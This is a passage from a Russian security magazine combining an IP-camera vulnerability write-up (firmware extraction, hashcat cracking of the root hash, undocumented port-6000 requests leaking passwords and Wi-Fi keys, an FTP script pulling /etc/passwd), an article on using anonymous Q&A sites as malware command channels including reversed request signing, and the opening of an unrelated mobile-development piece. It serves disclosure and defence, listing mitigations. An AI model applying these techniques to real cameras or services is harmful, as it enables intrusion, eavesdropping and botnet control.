walk.  Забегая  впе ред,  отме чу  еще,  что  обя затель но  наличие  модуля
jefferson — для рас паков ки JFFS2.

WWW

На    есть  вся  необ‐ 
ходимая информа ция по уста нов ке.

стра нице  про екта  в  GitHub

Я заг лянул внутрь бинар ника при помощи binwalk.

Вы вод binwalk

Squashfs — это спе циали зиро ван ная сжа тая фай ловая сис тема, которая час‐ 
то при меня ется в роуте рах,  IP‐камерах и про чих  IoT‐устрой ствах, а JFFS2 —
фай ловая сис тема, час то исполь зуемая на флеш‐памяти. В интерне те мож но
най ти нес коль ко спо собов мон тирова ния JFFS2 и Squashfs, но про ще все го
рас паковать их через тот же binwalk.

binwalk ‐Me  IPCAM_BV_EW_11_E_V2.37.170715_Airlink.fm
binwalk ‐Me  IPCAM_BV_EW_11_V2.37.170715.rootfs 

где
 вклю чает режим извле чения;• ­e

 пыта ется рас паковы вать вло жен ные эле мен ты.• ­M

В ито ге получи лось два  катало га с содер жимым про шив ки. В  катало ге 
  мож но  най ти  файл 

,  внут ри  которо го  находит ся  хеш  типа MD5  (Unix).  Бру танув  этот  хеш
с помощью  John  или  hashcat, мож но  получить  иско мый пароль  для  под клю‐ 
чения по Telnet.

_IP‐
CAM_BV_EW_11_V2.37.170715.rootfs.extracted etc/
passwd

Вот при мер запус ка бру та через hashcat:

hashcat64 ‐m 500 ‐a 0 ‐‐force usr\hashes.txt dict\worst_passwds.dict 
‐o usr\recovered.txt

Здесь
 — тип хеша, который будем бру тить, 500 — md5crypt / MD5 (Unix);• ­m 500

 — режим работы, 0 — ата ка по сло варю;• ­a 0

 — игно риро вать пре дуп режде ния;• ­­force

 — файл, в который я положил взла мыва емый хеш;• usr\hashes.txt

 — сло варь;• dict\worst_passwds.dict

 — файл,  в  который  будет  записан  вос ста нов‐ 
ленный пароль.

• ­o usr\recovered.txt

Hashcat отра ботал очень быс тро, так как пароль три виален и есть в популяр‐ 
ных сло варях. Учет ки на Telnet получе ны, но моя исто рия толь ко начина ется...

ИССЛЕДУЕМ СТРОКИ. УЗНАЕМ ИСТИННОГО ПРОИЗВОДИТЕЛЯ
КАМЕРЫ
Я решил  про дол жить  свое  импро визи рован ное  иссле дова ние  и  пос мотреть
на  дру гие фай лы,  извле чен ные  из  про шив ки,  пос мотрел,  что  и  как  стар тует
при заг рузке камеры.

Файл    показы вает,  что  запус кает ся
скрипт  ,  а  этот  скрипт  стар тует  Telnet,  cmd‐
serv, reset, daemonserv и bvipcam.

/squashfs‐root/etc/init.d/rcS
/home/bvtech/start_ipcam.sh

Ис поль зуя дос туп через Telnet с пра вами root, гля нул, как демоны слу шают
пор ты.

Вы вод netstat ‐ltupn с камеры

По луча ется,  что  bvipcam  —  основное  при ложе ние,  отве чает  прак тичес ки
за  всю  работу  камеры,  в  том  чис ле  веб‐интерфейс,  FTP,  RTSP  и  про чее.
Взгля нем на него пов ниматель ней.

Я поп робовал извлечь пос ледова тель нос ти печат ных сим волов из бинар‐ 
ного  фай ла  bvipcam  при  помощи  ути литы  strings.  Нап ример,  коман да  ниже
выведет в файл   печат ные сим волы, которые встре чают ся сери‐ 
ями более четырех под ряд.

strings.txt

strings ‐n 5 bvipcam > strings.txt

Би нар ник  ока зал ся  ничем  не  запако ван,  уда лось  дос тать  дос таточ но  мно го
строк.

Часть вывода ути литы strings

Ког да смот рел  , вни мание прив лекла эта стро ка:strings.txt

User‐Agent: www.brovotech.com/Marketing@brovotech.com

Нас коль ко  я  смог  понять,  этот  заголо вок  будет  под став лять ся  в  зап росы
от камеры к сер висам DDNS.

В фай лах про шив ки пос тоян но упо мина ется какой‐то bvtech:
 в путях;• /home/bvtech

 в заголов ке;• X­Mailer: sz.brovotech

 в заголов ке HTTP‐сер вера;• Server: Brovotech

в стро ке  .• User­Agent

Воз ника ет воп рос: кто же такие Brovotech? На сай те   я гля‐ 
нул спи сок про дук ции и нашел близ неца сво ей камеры, которую купил в Рос‐ 
сии под совер шенно дру гим брен дом.

www.brovotech.com

Брат‐близ нец моей камеры

Воз никла мысль,  что Brovotech выпус кает  камеры, пишет для них про шив ки,
а потом брен диру ет под кого‐то и про дает. Но это нуж но было про верить.

Пос коль ку  сер вер  HTTP  име ет  впол не  узна ваемый  заголо вок 
, решил поис кать подоб ные камеры через Shodan.

Server: 
Brovotech/2.0.0

По иск ана логич ных камер в Shodan

Поч ти  все  най ден ные  устрой ства  были  зак рыты  паролем,  но  ока залось,  что
у  это го  семей ства  камер  есть QR‐код,  который  дос тупен  по URI 

 без аутен тифика ции.
/logo/qr‐

code.png
Пос ле декоди рова ния QR‐кода выяс нилось, что он в боль шинс тве слу чаев

содер жит  ука зание  на  модель  камеры  и  ее  MAC‐адрес.  Про ана лизи ровав
дан ные с QR‐кодов, обна ружил, что они при над лежат раз ным моделям камер
раз ных брен дов.

Встре тились  камеры  нес коль ких  рос сий ских  брен дов,  китай ские,  поль‐ 
ские,  турец кие...  Видимо,  про изво дитель  Brovotech  неп лохо  про дает  свою
про дук цию, и не толь ко в Рос сии. ;)

Продолжение статьи →



«Я ХОТЕЛ ЕЕ ТОЛЬКО
НАСТРОИТЬ...»

КАК Я ИСКАЛ УЯЗВИМОСТИ В IP‐КАМЕРАХ 
И НАШЕЛ ИХ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

АНАЛИЗИРУЕМ ТРАФИК. УЗНАЕМ ПРО БЭКДОР
Рас полагая  информа цией  о  пос тавщи ках,  я  стал  собирать  информа цию
о  прог рам мном  обес печении  камер.  Наде ялся,  что  у  дру гих  пос тавщи ков
на  сай те  будет  удоб ный  и  работа ющий  инс тру мент  для  авто мати зации  нас‐ 
трой ки камер, с поис ка которо го и началась моя исто рия.

На  сай те  одно го  из  рос сий ских  про дав цов  я  нашел  нас тоящую  жем‐ 
чужину — ПО для  прос того  сбро са  текуще го  пароля  без  каких‐либо  допол‐ 
нитель ных  телод вижений.  Единс твен ное  усло вие  —  нуж но  находить ся
в одном сег менте L2 с  камерой. Прог рамма называ лась 
и находи лась в архи ве  .

RSTPWD_V1.01.exe
Reset_Password.rar

Вол шебная ути лита, по недос мотру пос тавщи ка попав шая в откры тый
дос туп

Гля нул при помощи Wireshark на ее тра фик...

Вот что про исхо дит при нажатии restore password в RSTPWD

Ока залось,  ути лита обща ется с камерой по пор ту 6000,  тек сто вым про токо‐ 
лом, без шиф рования, а для аутен тифика ции на камере исполь зуют ся логин
и  пароль...  Захар дко жен ные.  Недоку мен тирован ные.  Изме нение  или  отклю‐ 
чение которых невоз можно.

Я поковы рял эту апиш ку (6000 TCP), нашел кое‐что инте рес ное. Для при‐ 
мера при вожу нес коль ко забав ных штук.

telnet IP_адрес_камеры 6000

LOGIN BVT/1.0
cseq: 1
username: ***
password: ***

В кон це зап роса нуж но нажать Enter дваж ды.
По луча ем сес сион ный ключ (userid), с которым будем делать даль нейшие

зап росы в рам ках Telnet‐сес сии.
Вот такой зап рос вер нет спи сок всех поль зовате лей вмес те с их пароля‐ 

ми, которые были заведе ны на камере через веб‐интерфейс.  ;) Не сбро сит!
А имен но забот ливо вер нет. Все откры тым тек стом, никаких хешей!

GET_PARAMETER BVT/1.0
userid:  _USERID_
cmd: 47
cmdtype: 0
chn: 0
streamidx: 0
cseq: 3

А  вот  этот  зап рос  вер нет  SSID  и  ключ  Wi‐Fi‐сети,  к  которой  под клю чена
камера. Удоб но!

GET_PARAMETER BVT/1.0
userid:  _USERID_
cmd: 19
cmdtype: 0
chn: 0
streamidx: 0
cseq: 3

Еще из полез ного мож но получить учет ки от PPPoE, SMTP, FTP.
И  самое  глав ное  —  вши тые  учет ные  дан ные  для  этой  апиш ки  под ходят

для логина через веб‐интерфейс с пра вами адми нис тра тора.
Вы ше  я  говорил  про  бинар ный файл  ,  который  отве чает  за  вза‐ 

имо дей ствие  камеры  с  внеш ним  миром.  Нас коль ко  я  вижу,  недоку мен‐ 
тирован ные учет ные дан ные находят ся имен но в нем. Их мож но обна ружить
при  помощи  hex‐редак тора  или  той  же  ути литы  strings.  Ай  да  китай цы,  ай
да кра сав чики!

bvipcam

Про верил  наличие  выше опи сан ных  «осо бен ностей»  на  сво их  камерах
с исполь зовани ем про шивок раз ных вер сий, а так же на одной камере дру гой
мар ки, которую пре дос тавил кол лега. Баги были обна руже ны во всех слу чаях.

Есть  осно вания  полагать,  что  «болезнь»  охва тыва ет  весь ма  широкий
спектр камер Brovotech.

ВОЗМОЖНОСТИ УДАЛЕННОГО ДОСТУПА
Ду маешь,  на  этом  все?  Еще  нет. Мно гие модели  камер,  как  сей час  мод но,
облачные —  сами  соеди няют ся  и  дер жат  соеди нение  с  сер висом  неко его
опе рато ра.

Ис поль зование  обла ка  осо бен но  удоб но  для  прос мотра  кар тинки
с  камеры  уда лен но  или  через  мобиль ное  при ложе ние,  так  как  не  нуж но
ничего  нас тра ивать,  замора чивать ся  с  firewall  или  NAT  на  роуте ре  и  иметь
белый IP.

За час тую фун кция  соеди нения  с  обла ком  вклю чена  по  умол чанию,  а  для
акти вации  устрой ства  дос таточ но  прос то  под клю чить  камеру  к  сети,  зай ти
на сайт облачно го сер виса, ввес ти MAC камеры, логин и пароль.

Нес ложно догадать ся,  что недоку мен тирован ные  учет ные дан ные,  забот‐ 
ливо  вши тые  китай цами  из  Brovotech,  работа ют  и  тут.  Мож но  добав лять
в  свой  лич ный  кабинет  чужие  камеры,  прос то  переби рая  MAC‐адре са.
А  облачный  сер вис  виде онаб людения  может  даже  не  рас полагать  эле мен‐ 
тарной  кап чей,  так  что  тех ничес ки  воз можно  переби рать  МАС  и  добав лять
камеры скрип том.

Мно гие  вла дель цы  камер  даже  не  подоз рева ют,  что  камера  сама может
куда‐то под клю чать ся и управлять ся из обла ка. Каково?

Не  сто ит  забывать  про  UPnP,  который  во  мно гих  слу чаях  по  умол чанию
вклю чен на камерах, рав но как и на SOHO‐роуте рах. Это при водит к тому, что
камера дос тупна через интернет без ведома вла дель ца.

Я слы шал дос таточ но исто рий о том, как из камеры, уста нов ленной в квар‐ 
тире  или  офи се,  вдруг  на  окру жающих  обру шива лась  нецен зурная  брань
или  дру гая  непот ребщи на. Это  называ ется  cam prank — если  поищешь  эти
сло ва на YouTube, най дешь мно го забав ных роликов.

Ос ложня ет  дело  то,  что  иссле дуемые  модели  камер  име ют  не  толь ко
динамик, но и мик рофон (!). Я уже не говорю, что опи сан ные баги могут стать
неп лохим  под спорь ем  для  зло го  хац кера,  который  пожела ет  про ник нуть
в локаль ную сеть.

Ко неч но же, я пытал ся донес ти изло жен ную информа цию до пос тавщи ков.
Свя зывал ся  с  дву мя  рос сий ски ми  ком пани ями,  которые  про дают  уяз вимые
камеры под сво им брен дом.

В одной из ком паний веж ливо поб лагода рили за бди тель ность, но минуло
девять  месяцев,  а  все  баги  на  сво их  мес тах,  исправ лений  не  выпуще но.
Пред ста витель дру гой ком пании вооб ще не отве тил на мои пись ма. Печаль‐ 
но.  В  обо их  слу чаях,  как  час то  это  быва ет,  никакой  прог раммы  bug  bounty
у ком паний нет.

Баги в реали зации FTP-сер вера
На  десерт  еще  один  баг  —  кри вая  реали зация  сер вера  FTP  —  он  отда ет
любой зап рошен ный файл. Для при мера вот так мож но дер нуть тот же 

.
/etc/

passwd

#!/bin/bash
HOST='_IP_адрес_камеры_'
USER='_login_'
PASSWD='_passwd_'
ftp ‐n ‐v $HOST << EOT
user $USER $PASSWD
type binary
get /etc/passwd ./passwd
bye
EOT

Для  аутен тифика ции  подой дут  пароли,  задан ные  через  веб‐интерфейс,
или все тот же «вол шебный захар дко жен ный».

От мечу,  что  у  меня  этот  баг  вос про изво дит ся  не  на  всех  про шив ках,  то
есть имен но такой набор команд FTP работа ет не всег да. Полагаю, что мож‐ 
но поиг рать с коман дами FTP и добить ся жела емо го.

Я спе циаль но не стал рас кры вать спи сок  уяз вимого обо рудо вания и давать
более деталь ную информа цию, что бы не помогать хулига нам учи нять безоб‐ 
разия. Моя цель — обра тить вни мание на проб лему.

И ЧТО С ЭТИМ ДЕЛАТЬ?
Пер вым делом опре делить, отно сит ся ли камера к груп пе рис ка или нет. Одна
из отли читель ных осо бен ностей уяз вимых камер — заголо вок вида 

.  Про верить  наличие  это го  заголов ка  мож но  через  кон соль  раз‐ 
работ чика в бра узе ре или при помощи curl.

Server: 
Brovotech

curl ‐I http://192.168.0.135
HTTP/1.0 302 Moved Temporatily
Server: Brovotech/2.0.0
Pragma: no‐cache
Cache‐Control: no‐cache
Content‐Type: text/html
Location: http://192.168.0.135/cn/viewer_index.asp

А еще о  воз можной при над лежнос ти  камеры  к  уяз вимому  семей ству мож но
судить  по  откры тым  пор там.  Пов торю  номера  пор тов  TCP:  21,  23,  80,  554,
1556, 1935, 6000 и 49152.

Так же мож но делать выводы по наличию заголов ков
 — добав ляет ся в email;• X­Mailer: sz.brovotech

  —
добав ляет ся в HTTP‐зап росы самой камеры.

• User­Agent:  www.brovotech.com/Marketing@brovotech.com

Миними зация рис ков
Не под клю чать камеру к интерне ту нап рямую.•
От клю чить UPnP на камере или роуте ре, если  ты не пла ниру ешь исполь‐ 
зовать этот про токол.

•

От клю чить фун кцию соеди нения  камеры с  обла ком,  если  ты  им не  поль‐ 
зуешь ся.

•

Изо лиро вать  камеру на  уров не сети,  что бы  к  ней было невоз можно под‐ 
клю чить ся пос торон ним.

•

Изо лиро вать камеру от локаль ной сети пред при ятия, что бы она не мог ла
стать плац дармом для ата ки на сеть.

•

По нимать, что через уяз вимос ти в камере зло умыш ленник может получить
пароли от SMTP, FTP и Wi‐Fi.

•

По нимать,  что  камера  может  иметь  целый  букет  уяз вимос тей,  вклю чая
такие, о которых в этой статье не написа но.

•

По нимать,  что  у  камеры  есть  не  толь ко  объ ектив,  но  еще  и  мик рофон,
через который тебя могут прос лушивать.

•

Ну а про дав цов  уяз вимых  камер все же про шу обра тить вни мание на проб‐ 
лему  и  добить ся  от  китай ских  пар тне ров  исправ лений.  Хотя мне до  сих  пор
непонят но, на кой черт в камере Telnet и захар дко жен ные недоку мен тирован‐ 
ные учет ные дан ные.

OUTRO
Уве рен,  что  я  рас ковырял  лишь  малую  часть  багов  и  в  камерах  Brovotech
еще очень мно го инте рес ного. Ах да, то, из‐за чего все затева лось, — скрипт
для авто мати зации нас трой ки камер был‐таки написан, а про ект реали зован.
:‐)



ВОПРОС
ВРЕДОНОСА

РАЗБИРАЕМ МЕТОД ОБЩЕНИЯ
МАЛВАРИ С C&C ЧЕРЕЗ АНОНИМНЫЕ
СЕРВИСЫ ВОПРОСОВ И ОТВЕТОВ
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MALWARE

Соз дание  ано ним ного  двус торон него  канала  свя зи —  пос‐ 
тоян ная  голов ная  боль  для  раз работ чиков  вре донос ного
ПО. В этой статье мы на при мерах раз берем,  как сер висы,
раз работ чики  которых  исполь зуют  недос таточ но  силь ную
защиту, могут прев ратить ся в такой канал.

Как  толь ко  не  изво рачи вают ся  зло умыш ленни ки,  что бы  скрыт но  переда вать
дан ные меж ду мал варью и коман дным цен тром (C&C, или, как их теперь мод‐ 
но называть на воен ный лад, C2). Сто рон ние сер висы здесь зачас тую пред‐ 
став ляют ся самым удоб ным вари антом. В ход идут тви ты, ком миты на GitHub
или  отдель ные  репози тории;  даже  ком менты  к  видео  на  YouTube могут  ока‐ 
зать ся  тай ными  пос лани ями  меж ду  машина ми.  Исполь зование  таких  сер‐ 
висов откры вает для опе рато ра бот нета новые воз можнос ти. В час тнос ти, он
может не бес поко ить ся о сме не адре сов управля ющих сер веров — дос таточ‐ 
но  прос то  оста вить  твит,  в  при ложен ной  к  которо му  кар тинке  будет  содер‐ 
жать ся акту аль ная информа ция.

У односто рон него  канала свя зи есть свои недос татки. Во‐пер вых,  такого
бота лег че выявить по образцу тра фика. Во‐вто рых, акка унт на сер висе могут
заб локиро вать  или  он  может  попасть  в  поле  зре ния  иссле дова телей.
Это силь но зат руднит даль нейшие опе рации.

Соз дание  безопас ного  двус торон него  канала  свя зи  с  исполь зовани ем
сто рон них  сер висов  —  задача  нет риви аль ная.  Если  не  при бегать
к  каким‐либо  хакам,  то  все,  что  мож но  пред при нять  в  таком  слу чае,  —
это раз дать ботам учет ные дан ные, которые те будут исполь зовать для свя зи
с коман дным сер вером. То есть пос тро ить что‐то вро де такой схе мы.

Этот вари ант нак ладыва ет целый ряд огра ниче ний на про води мые опе рации.
Так,  необ ходимо обес печить боту  воз можность опе ратив но обновлять  учет‐ 
ные дан ные от сер виса, если ста рые заб локиру ют. Это не  так слож но орга‐ 
низо вать  с  помощью  односто рон него  канала  свя зи.    Но  проб лема  выходит
на  новый  уро вень,  ког да  чис ло  ботов  начина ет  рас ти.  Боль шое  количес тво
зап росов с раз ных IP к одно му акка унту будет как минимум подоз ритель ным.
Мож но  попытать ся  замес ти  сле ды,  реали зовав  сис тему  рас простра нения
учет ных записей сре ди ботов — что бы они переда вали их друг дру гу. Это зна‐ 
читель но слож нее и соз дает допол нитель ные статьи рас ходов для кибер кри‐ 
миналь ного биз неса.

Но  что,  если  поис кать  воз можность  обхо дить ся  без  учет ных  записей?
В таком слу чае из диаг раммы выше мож но было бы убрать все, что свя зано
с логина ми и пароля ми. И это при водит нас к ано ним ным сер висам.

АНОНИМНЫЕ СЕРВИСЫ ВОПРОСОВ И ОТВЕТОВ
Один  из  прив лекатель ных  вари антов  —  исполь зовать  сер висы  ано ним ных
воп росов  и  отве тов  типа  Ask.fm,  Sprashivai.ru  и  про чих.  Вот  почему  они  так
хорошо годят ся:

они работа ют по HTTP и как минимум под держи вают HTTPS;•
ад реса сер висов ано ним ных воп росов и отве тов извес тны вен дорам secu‐
rity‐решений и при сутс тву ют в белых спис ках модулей Application Control &
URL Filtering;

•

раз работ чикам  таких  сер висов  не  инте рес на  безопас ность  собс твен ных
решений, а тех поддер жка пас сивна.

•

С пер выми дву мя пун кта ми все понят но. HTTP прак тичес ки вез де раз решен,
а HTTPS поз волит еще и замас кировать обра щения к сер вису. Что каса ется
Application Control и все го такого, то как минимум тра фик от ботов будет счи‐ 
тать ся  «раз вле катель ным».  Это  ско рее  соз даст  проб лемы  для  сот рудни ка,
на компь юте ре которо го работа ет бот, чем реаль но при ведет к рас кры тию.

В пос леднем пун кте мне довелось убе дить ся лич но. В фев рале 2017 года
я  отпра вил  сот рудни кам  тех поддер жки  сер виса  Sprashivai.ru  информа цию
о том, что их защита от спа ма не работа ет, а пред при нятые пос ле сли ва меры
безопас ности эту самую безопас ность под рыва ют. Для меня не ста ло неожи‐ 
дан ностью  то,  что  они  пол ностью  про игно риро вали  мой  репорт.  Не  думаю,
что ситу ация с дру гими сер висами кар диналь но отли чает ся.

Как имен но реали зует ся двус торон ний  канал свя зи на осно ве  таких  сер‐ 
висов? Эту задачу мож но раз бить на два эта па:
1. Фор мирова ние  устой чивого  канала  свя зи  для  переда чи  дан ных  в  нап‐ 
равле нии от бота к опе рато ру.

2. Фор мирова ние канала свя зи для переда чи дан ных от опе рато ра к ботам.

Нач нем по поряд ку.

КАНАЛ СВЯЗИ «ОПЕРАТОР — БОТ»
На этом эта пе ничего осо бен но слож ного. Боль шая  часть мал вари,  которая
исполь зует  какие‐либо  сер висы  для  обес печения  односто рон него  канала
свя зи,  работа ет  имен но  по  этой  схе ме.  В  кон тек сте  сер висов  воп росов
и отве тов это реали зует ся, нап ример, сле дующим обра зом:

опе ратор  «отве чает»  на  воп рос  и  прик ладыва ет  к  отве ту  изоб ражение,
содер жащее в закоди рован ной фор ме коман ды для ботов;

•

бот про веря ет, не появи лись ли новые дан ные в исполь зуемом опе рато‐ 
ром акка унте, и выпол няет необ ходимые дей ствия.

•

Здесь  есть  нес коль ко  инте рес ных  момен тов.  Ког да‐нибудь  мал варь  будет
обна руже на,  и  исполь зуемый  акка унт  рас кро ют  и  заб локиру ют,  как  бы  его
ни  защищал  опе ратор.  Поэто му  в  таких  слу чаях  при бега ют  к  механиз мам
авто мати чес кого  соз дания  учет ных  записей  —  эти  механиз мы  уже  хорошо
отра бота ны авто рами вре донос ного ПО и исполь зуют ся для соз дания домен‐ 
ных имен.

Это  при водит  раз работ чика  вре доно са  к  сле дующей  проб леме:  что бы
авто мати зиро вать  регис тра цию  акка унтов  (да  и  авто риза ции  тоже),  ско рее
все го,  пот ребу ется  най ти  метод  обхо да  кап чи.  Рас смот рим  эти  методы
на при мерах выб ранных нами сер висов.

Ре гис тра ция
Sprashivai.ru  исполь зует  ReCaptcha,  поэто му  для  авто мати чес кой  регис тра‐ 
ции акка унтов нуж но будет оза ботить ся обхо дом такой защиты.

POST‐зап рос на регис тра цию акка унта Sprashivai.ru выг лядит так.

Ask.fm же не содер жит вооб ще никакой защиты от авто рега. Фор ма регис тра‐ 
ции не тре бует вво да кап чи, а ито говый зап рос име ет сле дующий вид.

Единс твен ный  момент,  который  здесь  нуж но  учесть,  сос тоит  в  отправ ке
на сер вер парамет ра  , который вклю чен в код стра ницы
регис тра ции и выг лядит при мер но так:

authenticity_token

<input type="hidden" name="authenticity_token" value="KljYiKgJAeDD6L0
RDjh/kuvdelt2UmtML90xBs7D4vGfK3UkdW8o+Men4tzhYmgWBrj4kGqw25ERd
f9Mg9eK5Q==" />

В  общем,  с  авто мати чес кой  регис тра цией  для  Ask.fm  нет  никаких  проб лем,
дос таточ но  сде лать  два  зап роса:  один  —  для  получе ния  токена,  сес сии
и про чей информа ции, дру гой — с целью регис тра ции акка унта.

Ав ториза ция
Опе рато ру нуж но иметь воз можность авто мати зиро вать, кро ме регис тра ции,
про цесс  авто риза ции  с  зарегис три рован ными  учет ками.  Ни  Sprashivai.ru,
ни Ask.fm не исполь зуют кап чу при аутен тифика ции поль зовате ля, что сущес‐ 
твен но упро щает задачу.

При этом Sprashivai.ru вычис ляет хеш пароля на сто роне кли ента и отсы‐ 
лает сер веру уже его, а не сам пароль в откры том виде.

Вот так выг лядит зап рос на авто риза цию в сер висе Sprashivai.ru.

И для Ask.fm соот ветс твен но.

Опять‐таки на Ask.fm мы видим, что в коде стра ницы с воп росом содер жится
параметр  .authenticity_token

Пуб ликация информа ции для ботов
Тут  все  так  же  прос то.  Пер вый  зап рос  опе рато ра  дол жен  собирать  име‐ 
ющиеся воп росы, а вто рой — отве чать на них так, что бы сам ответ или при‐ 
ложен ная информа ция нес ла в себе полез ную наг рузку для ботов.    Я не буду
прик ладывать  сюда скрин шоты  зап росов,  пос коль ку  они  выг лядят  ана логич‐ 
но. Если есть желание, можешь взять Burp Suite и самос тоятель но убе дить ся,
что в зап росах нет никакой магии.

КАНАЛ СВЯЗИ «БОТ — ОПЕРАТОР»
Этот  канал  свя зи  реали зует ся  через  отправ ку  ано ним ных  отве тов.  Сер вис
Sprashivai.ru,  если мне не изме няет  память,  всег да  под держи вал  такую  воз‐ 
можность без авто риза ции поль зовате ля, а вот на Ask.fm она появи лась срав‐ 
нитель но недав но. 

Ано ним ный воп рос поль зовате лю Ask.fm в виде зап роса выг лядит при мер‐ 
но так.

Про изво дит ся  POST‐зап рос  к  ,  содер жащий  уже  зна‐ 
комый нам   из кода стра ницы и сам воп рос. Инте рес но,
что  задава емый  воп рос  дуб лиру ется  в  Cookie,  отправ ляемой  в  зап росе, —
это нуж но учесть при авто мати зации про цес са.

/<account_name>/ask
authenticity_token

Для Sprashivai.ru кар тина нем ного иная.

В парамет рах вид но имя акка унта, флаг, озна чающий, что воп рос будет задан
ано ним но, а так же сам воп рос и два стран ных хеша. В про цес се авто риза ции
мы  уже  встре чали  неч то  подоб ное  —  похоже,  раз работ чики  Sprashivai.ru
прос то  пита ют  нез доровую  тягу  к  хеширо ванию.    Хорошая  новость  сос тоит
в том, что зна чение парамет ра   при сутс тву ет в коде стра ницы, с которой
мы и пыта емся отпра вить воп рос поль зовате лю.

hash

От сюда вытека ет и вто рая новость, но уже пло хая — зна чения парамет ра 
на  стра нице  нет.  По  всей  видимос ти,  оно  вычис ляет ся  в  ходе  работы
какого‐то  скрип та.  А  это  зна чит,  что  для  вос ста нов ления  алго рит ма  генера‐ 
ции это го парамет ра нам нуж но ревер сить обфусци рован ный JavaScript.

sig

Де баг гер Firefox поз воля ет опре делить фун кцию, которая генери рует зна‐ 
чение  .  Как  вид но,  зна чение  это го  парамет ра  фор миру ется  фун кци ей

 с дву мя парамет рами.
sig

hash_ask

Са ма фун кция   опи сана в скрип те   и выг‐ 
лядит сле дующим обра зом:

hash_ask() secure.min_2015_06_26.js

function hash_ask(r,e){
   var t="2O889rz3A5K30hxi8cazk7UcJY8623tBNGMLW49R" +
   e + r +
   "bDM808Lt8g647vlGhDtbCRhvxBkJyNkmjn8574zT";
   return secr(t)
}

С помощью отла доч ных средств, встро енных в Firefox, мне уда лось узнать, что
параметр    фун кции    равен  зна чению  перемен ной  ,  которая
переда ется  в  зап росе  и  содер жится  в  коде  стра ницы,  а    —  име ни  поль‐ 
зовате ля, которо му зада ется воп рос.

r hash_ask hash
e

Проб лема в том, что нам нуж но най ти зна чение, которое воз вра щает фун‐ 
кция  . Ее опре деле ние отсутс тву ет и в этом фай ле, и во всех осталь‐ 
ных.

secr()

Тут я совер шил про маш ку, которая сто ила мне лиш них тру дов. В 
  содер жится  какой‐то  скры тый  обфуска цией  код,  и  я

решил  его  отла дить  и  деоб фусци ровать.  Спус тя  нес коль ко  часов  кро пот‐ 
ливой  работы  с  Rhino  я  обна ружил,  что  этот  код,  по  сути,  счи тает  SHA‐
256 от вход ной стро ки.

secure.
min_2015_06_26.js

На самом деле это не нуж но. Если прог нать зна чение   через  , то
мы узна ем, что это 256‐бит ный хеш от некой стро ки.

sid hashid

А в коде скрип та мож но заметить отсылки к SHA‐224, что, видимо, ука зыва ет
на  алго ритм  хеширо вания.  Про вер ка  этой  теории  сэконо мила  бы  мне  уйму
вре мени и нер вов. Так же мне уда лось нагуг лить нес коль ко стра ниц с этим же
кодом на раз ных форумах. Не исклю чено, что это занятие при вело бы к нуж‐ 
ному резуль тату еще ско рее.

Но вер немся к решению изна чаль ного воп роса. Что бы сге нери ровать зна‐ 
чение  парамет ра  ,  нам  нуж но  взять  стро ку    из  кода  стра ницы,  имя
поль зовате ля и еще нес коль ко строк и сфор мировать хеш SHA‐256 от это го
зна чения.

sig hash

Поч ти  год  назад  я  доложил  соз дателям  сер виса  Sprashivai.ru,  что  такая
защита как минимум не работа ет, и соз дал    c  кодом,
который  поз воля ет  авто мати чес ки  задавать  воп росы  кон крет ному  поль‐ 
зовате лю. Уве рен, что этот код поз волит жела ющим разоб рать ся в теме в том
слу чае, если я что‐то непонят но опи сал.

ре пози торий на GitHub

ВЫВОДЫ
Как мы убе дились, ано ним ные сер висы воп росов и отве тов мож но без проб‐ 
лем исполь зовать для управле ния вре донос ным соф том. У Ask.fm нет никакой
защиты от это го, а Sprashivai.ru в качес тве защиты исполь зует некор рек тную
методи ку. Навер няка мно гие дру гие ано ним ные сер висы тоже подой дут.
 Тем не менее  у  такого метода есть ряд сущес твен ных проб лем. Во‐пер‐ 

вых, при переда че дан ных от бота к сер вису нуж но как‐то кодиро вать переда‐ 
ваемые  дан ные  для  того,  что бы  избе жать  лиш них  подоз рений.  Во‐вто рых,
сти хий ное  воз раста ние  количес тва  посети телей  некото рых  акка унтов  так же
может прив лечь к себе вни мание адми нис тра ции ресур сов. Как сни зить эти
рис ки — решать не нам.
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КОДИНГ

Смар тфо ны  про дол жают  отво евы вать  все  боль ше  мес та
под сол нцем не  толь ко  как инс тру мент пот ребле ния фотог‐ 
рафий котиков и ххх‐роликов, но и в качес тве рабоче го инс‐ 
тру мен та. Поэто му и спрос на мобиль ную раз работ ку рас тет.
При нято  счи тать,  что  тру  и  кул  —  это  Objective‐C/Swift
для  iOS  и  Java/Kotlin  для  Android.  Спо ру  нет,  тру  и  кул,
но  сущес тву ет  боль шое  количес тво  реаль ных  сце нари ев,
в которых исполь зование кросс‐плат формен ных фрей мвор‐ 
ков  более  пред почти тель но  в  срав нении  с  натив ными  инс‐ 
тру мен тами.

Од ни  раз работ чики  ждут  от  кросс‐плат формен ных  фрей мвор ков  решения
всех сво их жиз ненных проб лем, дру гие же вос при нима ют их в шты ки. В обо их
«враж дующих  лагерях»  есть  свои  заб лужде ния,  выз ванные  непони мани ем
того,  как  и  что  работа ет.  Это  под лива ет  мас ла  в  огонь,  так  как  вмес то  тех‐ 
ничес ких доводов в ход идут эмо ции.

Так же сре ди раз работ чиков, осо бен но начина ющих, сущес тву ет мно жес‐ 
тво мифов о кросс‐плат формен ных мобиль ных фрей мвор ках. В нашей статье
мы раз берем самые популяр ные из них. Но для начала пос мотрим на мобиль‐ 
ную  раз работ ку  гла зами  биз неса,  дающе го  день ги  на  весь  айтиш ный
блек‐джек.

ЗАЧЕМ НУЖНЫ КРОСС-ПЛАТФОРМЕННЫЕ ИНСТРУМЕНТЫ?
Ис торичес ки на рын ке компь юте ров всег да была кон курен ция, и каж дый про‐ 
изво дитель пре дос тавлял опти маль ный набор так называ емых натив ных (род‐ 
ных) инс тру мен тов для раз работ ки при ложе ний под свои опе раци онные сис‐ 
темы и устрой ства.

На тив ные инс тру мен ты = пре дос тавля ются вла дель цем эко сис- 

темы.

Все  осталь ные  приз наки  «натив ности»  ВТО РИЧ НЫ  —  поведе ние
и  интерфейс  при ложе ний,  дос туп  к  воз можнос тям ОС,  про изво дитель ность
и про чее.

К  тому  же  прак тичес ки  всег да  ока зыва лось,  что  натив ные  инс тру мен ты
несов мести мы  друг  с  дру гом  не  толь ко  на  уров не  язы ков  раз работ ки,  при‐ 
нятых  сог лашений  и  архи тек тур,  но  и  на  уров не  механиз мов  работы  с  опе‐ 
раци онной  сис темой  и  биб лиоте ками.  В  резуль тате  для  реали зации  одних
и  тех  же  алго рит мов  и  интерфей сов  тре бова лось  написать  при ложе ние
для нес коль ких сред на раз ных язы ках прог рамми рова ния, а потом его под‐ 
